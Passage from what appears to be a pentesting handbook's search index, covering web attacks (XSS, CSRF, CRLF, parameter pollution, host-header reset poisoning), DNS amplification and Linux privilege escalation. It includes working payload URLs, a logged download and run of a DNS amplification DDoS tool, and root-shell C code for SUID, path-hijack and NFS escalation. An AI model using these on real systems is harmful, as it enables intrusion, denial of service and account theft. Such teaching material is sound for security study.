the process of gathering information about a target via comlex reconnaissance techniques. The term \"network scanning\" refers to the procedures used for discovering hosts, ports, running services and information about the underlying OS type.","breadcrumbs":"Reconnaissance ยป Enumeration ยป Overview","id":"12","title":"Overview"},"120":{"body":"HTTP Response Splitting occurs when user-provided input isn't sanitised and CRLFs are injected into HTTP responses. This is usually done through URL parameters. This type of attack typically requires social engineering or at least some user interaction. HTTP responses consist of message headers and a message body. The headers are separated from the body with 2 CRLFs - \\r\\n\\r\\n. An attacker could inject this character sequence into a header and terminate the header section - this could result in XSS, since anything after the 2 CRLFs will be treated as HTML. Imagine a custom header X-Name: Bob which is set via a parameter in a GET request called name. If input isn't properly sanitised, an attacker could craft the following URL which would result in XSS: ?name=Bob%0d%0a%0d%0a In other cases, HTTP response splitting may be used to send two responses to a single request by injecting the second response into the first one. A URL like the following could change the contents of a legitimate page that the target visits: application.com/redir.php?lang=hax%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%d%aContent-Length:%2019%0d%0aHacked All the target needs to do, is visit the URL.","breadcrumbs":"Exploitation ยป Web ยป HTTP Response Splitting ยป Introduction","id":"120","title":"Introduction"},"121":{"body":"Certain vulnerabilities allow the attacker to input encoded characters that possess special meanings in HTML and HTTP responses. Usually, such input is sanitised by the application, however, sometimes application developers simply forget to implement sanitisation or don't do it properly. Carriage Return (CR - \\r) and Line Feed (LF - \\n) can be represented with the following encodings, respectively - %0D and %0A. CRLF injection occurs when a user manages to submit a CRLF (a new line) into an application. These vulnerabilities might be pretty minor, but might also be rather critical. The most common CRLF injections include injecting content into files on the server-side such as log files. Through cleverly crafted messages, an attacker could add fake error entries to a log and therefore make a system admin spend time looking for an issue that doesn't exist. This isn't really powerful in itself and is rather akin to pure trolling. Sometimes, however, CRLF may lead to HTTP Response Splitting .","breadcrumbs":"Exploitation ยป Web ยป CRLF Injection ยป Overview","id":"121","title":"Overview"},"122":{"body":"Cross-site scripting (XSS) describes a set of attacks where an adversary injects Javascript into a web application, typically because user input isn't properly sanitised. It is similar to HTML injection, however, it allows for the execution of Javascript code and that makes it a potentially critical vulnerability. There are 3 main types of XSS and the difference between them lies in the way the injected code reaches the end user.","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Scripting (XSS) ยป Overview","id":"122","title":"Overview"},"123":{"body":"This is the most severe type of XSS. The injected Javascript is sent to the server and the server stores it, for example in a database. When another user goes to retrieve the page that the attacker injected into, the JavaScript is also sent to the user as part of that page and is executed by their browser. For example, if you can inject into the username field of a user sign-up form, then any other users who visit your user profile later will be prompted with an alert box saying \"XSS\".","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Scripting (XSS) ยป Stored XSS","id":"123","title":"Stored XSS"},"124":{"body":"Blind XSS is a subset of stored XSS attacks where the injected script is stored by the server in a different part of the application which you don't have direct access and thus can't directly see if your XSS attempt was successful. For example, if the application allows you to send a message to the support team and you can inject into it, the XSS will be executed once the admin panel is visited by a member of the support staff.","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Scripting (XSS) ยป Blind XSS","id":"124","title":"Blind XSS"},"125":{"body":"Reflected XSS occurs when a server receives data which it then includes in its reply to the submitted request. This is typically exploited by creating a malicious link containing a script inside it and then tricking a user into clicking visiting that URL. Suppose there is a search bar somewhere in the application, the contents of which are sent as a URL parameter in a GET request when a user clicks the search button and are then displayed on the response page in a similar manner: Search results for: The request could be to the following example URL: example.com/?search=val If your application is vulnerable to XSS, the attacker could craft a malicious URL like the following one: example.com/?search= This would inject the Javascript as HTML into the on the response page and the browser would then execute the code.","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Scripting (XSS) ยป Reflected XSS","id":"125","title":"Reflected XSS"},"126":{"body":"DOM-based XSS is a type of XSS where the malicious code is never sent to the server. This commonly occurs when using the fragment part of a URL, or by referencing document.URL / document.location.href. This a less common attack nowadays, since most browser automatically escape Javascript in address bars, so DOM-based XSS will only work if you unescape it. Suppose you have a page on http://127.0.0.1:8080/example.html You can add fragments to the URL with a # symbol. http://127.0.0.1:8080/example.html#test=val The fragment part (#test=val) is never sent to the server - it is only available locally. Suppose you had the following client-side Javascript code running: const pos = document.URL.indexOf(\"test=\") + 5;\nconst value = document.URL.substring(document.URL.indexOf(\"test=\") + 5, document.URL.length); document.write(value); An attacker could craft the following URL: http://127.0.0.1:8080/example.html#test= However, if a victim clicks on this link, no Javascript should be injected, since the browser would usually automatically escape it - you would get %3Cscript%3Ealert('xss')%3C/script%3E printed on the page. If, however, the Javascript is decoded the client-side code, it will get executed.","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Scripting (XSS) ยป DOM-based XSS","id":"126","title":"DOM-based XSS"},"127":{"body":"You should try different XSS payloads within every user input field you might find. It is useful to use BurpSuite for that because you might be able to inject into more obscure fiels such as drop-down menus by using a proxy. You should also be aware that not only can you use the . When injected, the page's source code would look like this .","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Scripting (XSS) ยป Hunting for XSS","id":"127","title":"Hunting for XSS"},"128":{"body":"Cross-Site Request Forgery (CSRF) is a type of attack used to trick the victim into sending a malicious request. It utilises the identity and privileges of the target in order to perform an undesired action on the victim's behalf. It is similar to indirect impersonation - you can make the victim's browser submit requests as the victim. It is called \"cross-site\" because a malicious website can make the victim's browser send a request to another website. This attack typically relies on the victim being authenticated - either through cookies or basic header authorization.","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Request Forgery ยป Overview","id":"128","title":"Overview"},"129":{"body":"There are two primary types of CSRF - through GET requests and through POST requests (although methods like PUT and DELETE may also be exploitable). When your browser submits a request to a web server, it also sends along all stored cookies. If CSRF occurs, any authentication cookies will be sent with the request and as such, any actions on the server would be performed on the victim's behalf. Note that in order for CSRF to work, the victim needs to be logged in because when you make a log out request, the web server usually returns an HTTP response which auto-expires your authentication cookies and they are no longer valid. In order for it to work, the victim would need to visit your malicious website.","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Request Forgery ยป How does it work","id":"129","title":"How does it work"},"13":{"body":"","breadcrumbs":"Reconnaissance ยป Enumeration ยป Types of scanning","id":"13","title":"Types of scanning"},"130":{"body":"This typically relies on hidden images through the HTML tag. This tag takes an src attribute which will tell the victim's browser to perform a GET request to the specified URL in order to retrieve an image. However, an attacker can change this URL and even add parameters to it, so that the browser performs a GET request to any arbitrary site. An example of such a malicious hidden image could be this: When visiting your malicious site, this will make the victim's browser submit a GET request. Any cookies stored for bank.com would be sent along, including any authentication ones. As such, the bank would complete the transfer from the victim's account.","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Request Forgery ยป The GET scenario","id":"130","title":"The GET scenario"},"131":{"body":"If the bank uses POST requests for transfers, the method won't work because image tags can't initiate POST requests. This can however be achieved through hidden forms.
Normally, the submition of the form will require that a user clicks the submit button, but this can be automated through Javascript. The response from the submission of the POST request would be redirect to the non-displayed iframe and so the victim would never see what has happened.","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Request Forgery ยป The POST scenario","id":"131","title":"The POST scenario"},"132":{"body":"","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Request Forgery ยป Preventions","id":"132","title":"Preventions"},"133":{"body":"Sometimes, websites will make use of two-part tokens called CSRF tokens in order to prevent cross-site request forgery. These tokens are generated on the server - one part is sent to the user and the other is kept private. This value is submitted with the request and validated on the server. If the CSRF token isn't correct, the server shouldn't fulfill the submission. These tokens may be part of the POST request's body or as custom HTTP headers. They may take on any name, but some common ones include CSRF, CSRFToken, X-CSRF-TOKEN, form-id, lt, lia-token, etc. You should always try removing or altering the CSRF token in order to check if it's properly implemented.","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Request Forgery ยป CSRF Tokens","id":"133","title":"CSRF Tokens"},"134":{"body":"When a browser sends an application/json POST request to a site, it will send an OPTIONS request beforehand. The site then returns a response indicating which types of HTTP requests the server accepts and from what trusted origins. Such OPTIONS requests are called preflight OPTIONS requests. CORS, or Cross-Origin Resource Sharing, restricts resource access, including JSON response access, from domains outside the one which served a file is allowed by the site being tested. When CORS is used, submitting application/json requests are not possible, unless the website explicitly allows them. These protections can sometimes be bypassed by changing the content-type header to application/x- www-form-urlencoded, multipart/form-data, or text/plain. Browsers don't send preflight OPTIONS requests for any of these content types and CSRF requests might succeed.","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Request Forgery ยป CORS","id":"134","title":"CORS"},"135":{"body":"Checking the Origin and Referer headers (if the origin header isn't present) prevents CSRF because these headers are controlled by the browsers and cannot be altered by the attacker","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Request Forgery ยป Origin and Referer Headers","id":"135","title":"Origin and Referer Headers"},"136":{"body":"This attribute can take on the values strict or lax. When set to strict, the browser won't send that specific cookie with any request that doesn't originate from the correct website - including GET requests. Setting the attribute to lax will prevent the cookie from being sent on normal subrequests (such as loading images or frames), however, the cookie will still be sent with direct requests to the origin site (such as those initiated by clicking on a link).","breadcrumbs":"Exploitation ยป Web ยป Cross-Site Request Forgery ยป samesite Cookie Attribute","id":"136","title":"samesite Cookie Attribute"},"137":{"body":"","breadcrumbs":"Exploitation ยป Web ยป WebSockets","id":"137","title":"Exploitation"},"138":{"body":"HTTP Parameter Pollution describes the set of techniques used for manipulating how a server handles parameters in an HTTP request. This vulnerability may occur when duplicating or additional parameters are injected into an HTTP request and the website trusts them. Usually, HPP (HTTP Parameter Pollution) vulnerabilities depend on the way the server-side code handles parameters.","breadcrumbs":"Exploitation ยป Web ยป HTTP Parameter Pollution ยป Overview","id":"138","title":"Overview"},"139":{"body":"You send the server unexpected data, trying to make the server give an unexpected response. A simple example could be a bank transfer. Suppose, your bank performs transfers on its website through the use of HTTP parameters. These could be a recipient= parameter for the receiving party, an amount= parameter for the amount to send in a specific currency, and a sender= parameter for the one who sends the money. A URL for such a transfer could look like the following: https://www.bank.com/transfer?sender=abcdef&amount=1000&recipient=ghijkl It may be possible that the bank server assumes it will only ever receive a single sender= parameter, however, submitting two such parameters (like in the following URL), may result in unexpected behaviour: https://www.bank.com/transfer?sender=abcdef&amount=1000&recipient=ghijkl&sender=ABCDEF An attacker could send such a request in hopes that the server will perform any validations with the first parameter and actually transfer the money from the second account specified. When different web servers see duplicate parameters, they handle them in different ways . Even if a parameter isn't sent through the URL, inserting additional parameters may still cause unexpected server behaviour. This is especially the case with server code which handles parameters in arrays or vectors through indices. Inserting additional parameters at different places in the URL may cause reordering of the array values and lead to unexpected behaviour. An example could be the following: https://www.bank.com/transfer?amount=1000&recipient=ghijkl The server would deduce the sender on the server-side instead of retrieving it from an HTTP request. Normally, you wouldn't have access to the server code, but for a POC I have written a simple server in a pseudo-code (no particular language). sender.id = abcdef function init_transfer(params)\n{ params.push(sender.id) // the sender.id should be inserted at params[2] prepare_transfer(params)\n} function prepare_transfer(params)\n{ amount = params[0] recipient = params[1] sender = params[2] transfer(amount, recipient, sender)\n} Two functions are created here, init_transfer and prepare_transfer which takes a params vector. This function also later invokes a transfer function, the contents of which are currently out of scope. Following the above URL, the amount parameter be 1000, the recipient would be ghijkl. The init_transfer function adds the sender.id to the parameter array. Note, that the program expects the sender ID to be the 3rd (2nd index) parameter in the array in order to function properly. Finally, the transfer params array should look like this: [1000, ghijkl, abcdef]. Now, an attacker could make a request to the following URL: https://www.bank.com/transfer?amount=1000&recipient=ghijkl&sender=ABCDEF In this case, sender= would be included into the parameter vector in its initial state (before the init_transfer function is invoked). This means that the params array would look like this: [1000, ghijkl, ABCDEF]. When init_transfer is called, the sender.id variable would be appended to the vector and so it would look like this: [1000, ghijkl, ABCDEF, abcdef]. Unfortunately, the server still expects that the correct sender would be located at params[2], but that is no longer the case since we managed to insert another sender. As such, the money would be withdrawn from ABCDEF and not abcdef.","breadcrumbs":"Exploitation ยป Web ยป HTTP Parameter Pollution ยป Server-Side HPP","id":"139","title":"Server-Side HPP"},"14":{"body":"Lists the open ports and the services running on them. Port scanning describes the process of querying the running services on a computer by sending a stream of messages in an attempt to identify the service in question, as well as any information related to it. It involves probing TCP and UDP ports of a target system in order to determine if a service is running / listening.","breadcrumbs":"Reconnaissance ยป Enumeration ยป Port Scanning","id":"14","title":"Port Scanning"},"140":{"body":"These vulnerabilities allow the attacker to inject extra parameters in order to alter the client-side. An example of this is included in the following presentation: https://owasp.org/www-pdf-archive/AppsecEU09_CarettoniDiPaola_v0.8.pdf. The example URL is http://host/page.php?par=123%26action=edit The example server code is the following: .'\">View Me! Here, a new URL is generated based on the value of a parameter $val. Here, the attacker passes the value 123%26action=edit onto the parameter. The URL-encoded value for & is %26. When this gets to the htmlspecialchars function, the %26 gets converted to an &. When the URL gets formed, it becomes And since this is view as HTML, an additional parameter has been smuggled! The link would be equivalent to /page.php? action=view&par=123&action=edit This second action parameter could cause unexpected behaviour based on how the server handles duplicate requests.","breadcrumbs":"Exploitation ยป Web ยป HTTP Parameter Pollution ยป Client-Side HPP","id":"140","title":"Client-Side HPP"},"141":{"body":"The HTTP Host header is a mandatory header for HTTP requests and specifies the domain name which the client wants to access. This is especially handy with virtual hosting because a single IP address may provide different services on different domains and the server needs to know which page to return to the client. For example, the same machine may serve a blog website at blog.example.com and a git repository at dev.example.com. In order to specify which of the two services the client wants to access, they must specify either the header Host: blog.example.com or dev.example.com, respectively, in their request. A host header injection vulnerability arises when the target application unsafely uses the contents of the Host header, typically in order to construct an absolute URL.","breadcrumbs":"Exploitation ยป Web ยป Host Header Injection ยป Introduction","id":"141","title":"Introduction"},"142":{"body":"This technique involves using Host Header Injection in order to force a vulnerable application to generate a password reset link which points to a malicious domain. This may be leveraged to steal the secret tokens required to reset the passwords of arbitrary users and consequently compromise their accounts. Typically applications implement password resetting as follows. The user specifies their username/email. The server generates a temporary, unique, high-entropy token for the user. The server generates a URL for the password reset with the secret token included as a URL parameter. For example, example.com/reset?token=abcdefghijklmnopqrstuvwxyz The server sends an email to the client which includes the generated password reset link. When the user clicks the link in their email, the token in the URL is used by server in order to determine whose password is being reset and whether or not it is a valid request. If the Host header of the request for a password reset is used in generating the password reset URL, an adversary may leverage it in order to steal the token for an arbitrary user. For example, an adversary could submit a password reset request for a user, e.g. carlos, intercept the request and modify the Host header to point to a domain controlled by them: Host: exploit-server.com. When the server generates the password reset URL, it will resemble the following, http://exploit-server.com/reset?token=abcdefghijklmnopqrstuvwxyz. If the victim clicks on the link, their token will be handed over to the attacker by means of the exploit-server.com domain which receives the password reset request. This type of attack, however, does not always require user interaction because emails are typically scanned be it to determine if they are spam or if they contain a virus and the scanners will oftentimes open the links themselves, all automatically, thus giving the attacker the token to reset the password.","breadcrumbs":"Exploitation ยป Web ยป Host Header Injection ยป Password Reset Poisoning","id":"142","title":"Password Reset Poisoning"},"143":{"body":"Check to see if absolute URLs are necessary and cannot be replaced with relative ones. If an absolute URL is necessary, ensure that the current domain is stored in a configuration file and do NOT use the one from the Host: header. If using the Host header is inevitable, ensure that it is validated against a whitelist of permitted domains. Different frameworks may provide different methods for achieving this. Drop support for additional headers which may permit such attacks, such as the X-Forward-Host header. Do NOT virtual-host internal-only websites on a server which also provides public-facing content, since those may be accessed via manipulation of the Host header.","breadcrumbs":"Exploitation ยป Web ยป Host Header Injection ยป Prevention","id":"143","title":"Prevention"},"144":{"body":"","breadcrumbs":"Exploitation ยป Windows ยป Windows","id":"144","title":"Windows"},"145":{"body":"Shell Command Files (SCF) permit a limited set of operations and are executed upon browsing to the location where they are stored. What makes them interesting is the fact that they can communicate through SMB, which means that it is possible to extract NTLM hashes from Windows hosts. This can be achieved if you are provided with write access to an SMB share.","breadcrumbs":"Exploitation ยป Windows ยป SCF File Attacks ยป Introduction","id":"145","title":"Introduction"},"146":{"body":"You will first need to create a malicious .scf file where you are going to write a simple (you can scarcely even call it that) script.","breadcrumbs":"Exploitation ยป Windows ยป SCF File Attacks ยป The Attack","id":"146","title":"The Attack"},"147":{"body":"","breadcrumbs":"Exploitation ยป DNS ยป DNS","id":"147","title":"DNS"},"148":{"body":"A DNS (Traffic) Amplificaton attack is a popular form of a distributed denial of service (DDoS) attack, which abuses open DNS resolvers to flood a target system with DNS response traffic. It's called an amplification attack because it uses DNS responses to upscale the size of the data sent to the victim.","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป What is DNS Traffic Amplification?","id":"148","title":"What is DNS Traffic Amplification?"},"149":{"body":"An attacker sends a DNS name lookup to an open resolver with the source IP spoofed to be the victim's IP address. That way, any response traffic would be sent to the victim and not the attacker. The requests submitted by the attacker usually aim to query for as much information as possible in order to maximise the amplification effect. In most cases, the queries sent are of type ANY which requests all known information about a particular DNS zone. Using a botnet, it's easy to create immense amounts of traffic. It is also rather difficult to protect against these attacks because the traffic is coming from legitimate sources - real DNS servers.","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป How does it work?","id":"149","title":"How does it work?"},"15":{"body":"This is the process of discovering active hosts on a network, either for attacking them or assessing the overall network security.","breadcrumbs":"Reconnaissance ยป Enumeration ยป Network Scanning","id":"15","title":"Network Scanning"},"150":{"body":"","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป Conducting a DNS Traffic Amplification Attack","id":"150","title":"Conducting a DNS Traffic Amplification Attack"},"151":{"body":"We should first check if a DNS Traffic Amplification is possible and if it's viable. We can do this through Metasploit using the module auxiliary/scanner/dns/dns_amp. In the RHOSTS you need to put the IP of the name server you want to test. This module will tell you if a name server can be used in an amplification attack but won't actually execute the attack. Run the scanner:","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป Testing a DNS server for attack surface","id":"151","title":"Testing a DNS server for attack surface"},"152":{"body":"A simple tool is available only as a proof of concept here . You will need to download and then compile it: wget https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c gcc -o dnsdrdos dnsdrdos.c -Wall -ansi โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ wget https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c\n--2021-09-21 13:01:11-- https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c\nResolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.110.133, ...\nConnecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 15109 (15K) [text/plain]\nSaving to: โ€˜dnsdrdos.cโ€™ dnsdrdos.c 100%[========================================================================================================================================>] 14.75K --.-KB/s in 0.001s 2021-09-21 13:01:11 (17.9 MB/s) - โ€˜dnsdrdos.cโ€™ saved [15109/15109] โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ gcc -o dnsdrdos dnsdrdos.c -Wall -ansi Now, create a file containing the IP's of each DNS server you want to use in the attack (only one IP per line). Use the following syntax to run the attack: sudo ./dnsdrdos -f -s -d -l โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ sudo ./dnsdrdos -f dns_servers -s 192.168.129.2 -d nsa.gov -l 30\n----------------------------------------------- dnsdrdos - by noptrix - http://www.noptrix.net/ ----------------------------------------------- โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ The output may be empty, but the packets were sent. You can verify this with wireshark:","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป Executing the attack","id":"152","title":"Executing the attack"},"153":{"body":"A flaw of all DNS name servers is that if they contain incorrect information, they may spread it to clients or other name servers. Each DNS name server (even individual clients) has a DNS cache. The system stores there information about any responses it gets for domains it requested. An attacker could inject false entries in this cache and as such, any computer which queries the poisoned name server will receive false results. This is known as DNS cache poisoning . The attack can be used to redirect users to a different website than the requested one. As such, it opens opportunities for phishing attacks by creating evil twins of login portals for well-known sites. A tool for performing such targeted attacks is deserter . Usage information is available on its GitHub page.","breadcrumbs":"Exploitation ยป DNS ยป DNS Cache Poisoning ยป Introduction","id":"153","title":"Introduction"},"154":{"body":"","breadcrumbs":"Post Exploitation ยป Post Exploitation","id":"154","title":"Post Exploitation"},"155":{"body":"","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Introduction","id":"155","title":"Introduction"},"156":{"body":"The first thing you need to do after gaining a foothold on a machine is to look for reused credentials. You should try every password you have gathered on all users, you never know when you might find an easy escalation to root. Next, you should hunt down sensitive files and look for stored credentials in configuration and source files of different applications. Naturally, you should also enumerate any local databases you find. Additionally, SSH keys are something to be on the lookout for. You should also go through the bash history and look for any passwords which were passed as command-line arguments. You should then move on to looking for exploits. Kernel exploits are really low-hanging fruit, so you should always check the kernel version. Subsequently, proceed by enumerating sudo and the different ways to exploit it, for example via Shell Escape Sequences or LD_PRELOAD . Following, you should proceed by tracking down any misconfigurations such as excessive capabilities or SUID Binaries . You should check if you have write access to any sensitive files such as /etc/passwd or /etc/shadow, as well as any cron jobs or cron job dependencies. Ultimately, you should move on to enumerating running software and services which are executed as root and try to find vulnerabilities in them which may allow for privilege escalation. This can all be summed up into the following: Credentials Reused Credentials Credentials in Configuration or Source Files Credentials from Databases Credentials in Sensitive Files Credentials from Bash History SSH Keys Exploitation Kernel Exploits Sudo Misconfigurations Excessive Capabilities SUID/SGID Binaries Write Access to Sensitive Files Writable Cron Jobs and Cron Job Dependencies Installed Software Vulnerabilities in Software and Services Running as Root","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Methodology","id":"156","title":"Methodology"},"157":{"body":"The Set Owner User ID (SUID) and Set Group ID (SGID) are special permissions which can be attributed to Linux files and folders. Any files which are owned by root and have SUID set will be executed with elevated privileges. Our goal is to hunt down those files and abuse them in order to escalate our privileges. This can be easily done with the following command: find / -perm -u=s -type f -user root 2>/dev/null","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Introduction","id":"157","title":"Introduction"},"158":{"body":"You should diligently inspect the list of files returned. Some standard Linux binaries may allow for privilege escalation if they have the SUID bit set for one reason or another. It is useful to go through these binaries and check them on GTFOBins . In the above example, we find that /bin/systemctl has the SUID bit set and that it also has an entry in GTFOBins : By following the instructions, although with slight modifications, we can run commands with elevated privileges:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Exploiting Misconfigured Common Binaries","id":"158","title":"Exploiting Misconfigured Common Binaries"},"159":{"body":"Some binaries may be vulnerable to Shared Object (SO) Injection. This typically stems from misconfigurations where the binary looks for a specific library in a specific directory, but can't actually find it. If we have write access to this directory, we can hijack the search for the library by compiling our own malicious library in the place where the original one was supposed to be. This is quite similar to escalating via LD_PRELOAD , but it is a bit more difficult to find and exploit. You will first need to identify an SUID binary which has misconfigured shared libraries. A lot of the times the binary will refuse to run, saying that it is missing a particular library, however, this is not always the case: It is always good practice to run the programme with strace, which will print any attempts of the binary to access libraries: strace 2>&1 | grep -iE \"open|access\" What stands out in particular is the /home/user/.config/libcalc.so library, since /home/user/.config/ may be a writable directory. It turns out that the directory doesn't even exist, however, we can write to /home/user/ which means that we can create it. What now remains is to compile a malicious library into libcalc.so. #include \n#include static void inject() __attribute__((constructor)); void inject()\n{ setuid(0); setgid(0); system(\"/bin/bash -i\");\n} For older versions of GCC, you may need to use the _init() function syntax: #include \n#include void _init()\n{ setuid(0); setgid(0); system(\"/bin/bash -i\");\n} Compile the malicious library: gcc -shared -fPIC -o libcalc.so libcalc.c # add -nostartfiles if using _init()","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Privilege Escalation via Shared Object Injection","id":"159","title":"Privilege Escalation via Shared Object Injection"},"16":{"body":"Reveals the presence of known vulnerabilities. It checks whether a system is exploitable through a set of weaknesses. Such a scanner consists of a catalog and a scanning engine. The catalog contains information about known vulnerabilities and exploits for them that work on a multitude of servers. The scanning engine is responsible for the logic behind the exploitation and analysis of the results.","breadcrumbs":"Reconnaissance ยป Enumeration ยป Vulnerability Scanning","id":"16","title":"Vulnerability Scanning"},"160":{"body":"Path Hijacking refers to the deliberate manipulation of environmental variables, most commonly \\$PATH, such that the invocations of programmes in a binary actually refer to malicious binaries and not the intended ones. This vector requires more sophisticated digging into the internals of an SUID binary, specifically tracking down the different invocations the binary performs. This can commonly be achieved by running strings on the binary, but you will probably have to resort to more serious reverse engineering, as well. Specifically, you want to be on the lookout for shell commands which get executed by the SUID binary.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Privilege Escalation via Path Hijacking","id":"160","title":"Privilege Escalation via Path Hijacking"},"161":{"body":"Relative paths are comparably easy to hijack - they require little other than editing the \\$PATH variable. Once you have identified a shell command within an SUID binary which invokes another programme via a relative path, you can just prepend to the \\$PATH a directory which will contain an executable with the same name as the one originally invoked. Let's compile our own malicious binary. #include \n#include int main()\n{ setuid(0); setgid(0); system(\"/bin/bash -i\"); return 0;\n} gcc -o /tmp/service /tmp/service.c Afterwards, we need to prepend /tmp to the \\$PATH variable: export PATH=/tmp:\\$PATH And finally, run the original SUID binary:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Hijacking Relative Paths","id":"161","title":"Hijacking Relative Paths"},"162":{"body":"Absolute paths require a bit more work to be hijacked. Luckily, bash turns out to be very sophisticated and allows for the creation of functions which have the forward slash (/) character in their name. This means that we can create a malicious bash function with the same name as the absolute path we want to hijack and then our function will be invoked in lieu of the original programme. First, create the bash function: function () { cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p; } Next, export the function: export -f Finally, run the original SUID binary:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Hijacking Absolute Paths","id":"162","title":"Hijacking Absolute Paths"},"163":{"body":"The kernel is the layer which sits between applications and the hardware. It runs with root privileges, so if it gets exploited, privileges can be escalated. Finding kernel vulnerabilities and writing exploits for them is no trifling task, however, once such a vulnerability is made public and exploit code for it is developed, it easily becomes a low-hanging fruit for escalating privileges. A very useful list of kernel exploits found to date is located here . Finding already existing exploits is really easy - just search for the Linux kernel version!","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Kernel Exploits ยป Introduction","id":"163","title":"Introduction"},"164":{"body":"As an example, we are going to exploit dirtyc0w. This was a very ubiquitous exploit and can still be found on numerous outdated machines. The exploit itself has many versions but for demonstration purposes we are going to use the one at https://www.exploit-db.com/exploits/40839 . We need to first verify that our kernel version is in the vulnerable range. Inside the exploit we see compilation instructions, which is typical of kernel exploits as they are usually written in C: By compiling and running the exploit (it may actually take some time to execute), we have elevated our privileges!","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Kernel Exploits ยป Exploiting the Kernel","id":"164","title":"Exploiting the Kernel"},"165":{"body":"It is common to see a low-privileged user to be configured to be able to run some commands via sudo without a password. Luckily, many existing programmes for Linux have advanced capabilities which allow them to do many things such as spawning a shell when run with sudo. If such a programme is configured in the aforementioned way, then there is a shell escape sequence which is a (usually) simple command/argument passed to the programme when run, so that it spawns a shell with elevated privileges when run with sudo. Naturally, these shell escape sequences are programme-specific and it would be inane to try and remember the sequence for every binary. This is where GTFOBins comes in. This is a database of commands (including shell escape sequences) for common Linux binaries which can be used for escalating privileges. We saw in the above list provided by sudo -l that we are allowed to run find as root via sudo. Let's check if there is a shell escape sequence for it. There is! We can copy and paste it, then run it with sudo, and we should at last have a root shell: Another example can be given with the awk binary, which we also saw in the list provided by sudo -l.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Sudo Shell Escape Sequences ยป Introduction","id":"165","title":"Introduction"},"166":{"body":"The compromised machine may be configured to allow certain directories to be mounted by other machines. You can enumerate such directories by running the following command on the victim machine: cat /etc/exports You can additionally verify this from your attacker machine by running: showmount -e If there is a mountable directory which is configured as no_root_squash, as is the case here, then it can be used for privilege escalation. We begin by mounting the target directory from the victim to a directory on our machine: sudo mount -o rw, vers=3 :/tmp /tmp/root_squash Now, if no_root_sqaush is configured for the mountable directory, then the root user on the attacker machine will get mirrored on the victim machine. In essence, any command run as root on the attacker machine, will also be executed as root on the victim! This can allow us to create a malicious binary in the mounted directory and set its SUID bit from the attacker machine. This action will be mirrored by the victim and we will essentially have an SUID binary on the target which is all under our control. Let's write a simple malicious C executable: #include \n#include int main()\n{ setuid(0); // Set user ID to root setgid(0); // Set group ID to root system(\"/bin/bash -i\"); // Execute bash now with elevated privileges return 0;\n} It doesn't matter if you create it on the target or the attacker machine, but you must compile it on the target machine in order to avoid library version mismatches: gcc -o nfs_exploit nfs_exploit.c Next, you want to change the ownership of the compiled binary to root on the attacker machine . Afterwards, you want to set the SUID bit on the binary, once again, from the attacker machine : sudo chown root:root nfs_exploit\nsudo chmod +s nfs_exploit Finally, execute the malicious binary on the target :","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป NFS Root Squashing ยป Introduction","id":"166","title":"Introduction"},"167":{"body":"Linux capabilities provide a way for splitting permissions into small units. A binary with particular capabilities can perform certain tasks with elevated privileges. If capabilities are not properly set, or if they are excessive, this may lead to privilege escalation. Binaries with capabilities may be found using the following command: getcap / -r 2>/dev/null A list of all possible capabilities can be found here . In the above example, we can see that the python interpreter can arbitrarily set the user ID of the process. This means that we can change our user ID to 0 when running python, thus escalating our privileges:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing Linux Capabilities ยป Introduction","id":"167","title":"Introduction"},"168":{"body":"The LD_PRELOAD environment variable can be used to tell the dynamic linker to load specific libraries before any others. By default, programmes run with sudo will be executed in a clean, minimal environment which is specified by env_reset when running sudo -l. However, env_keep may be used to inherit some environment variables from the 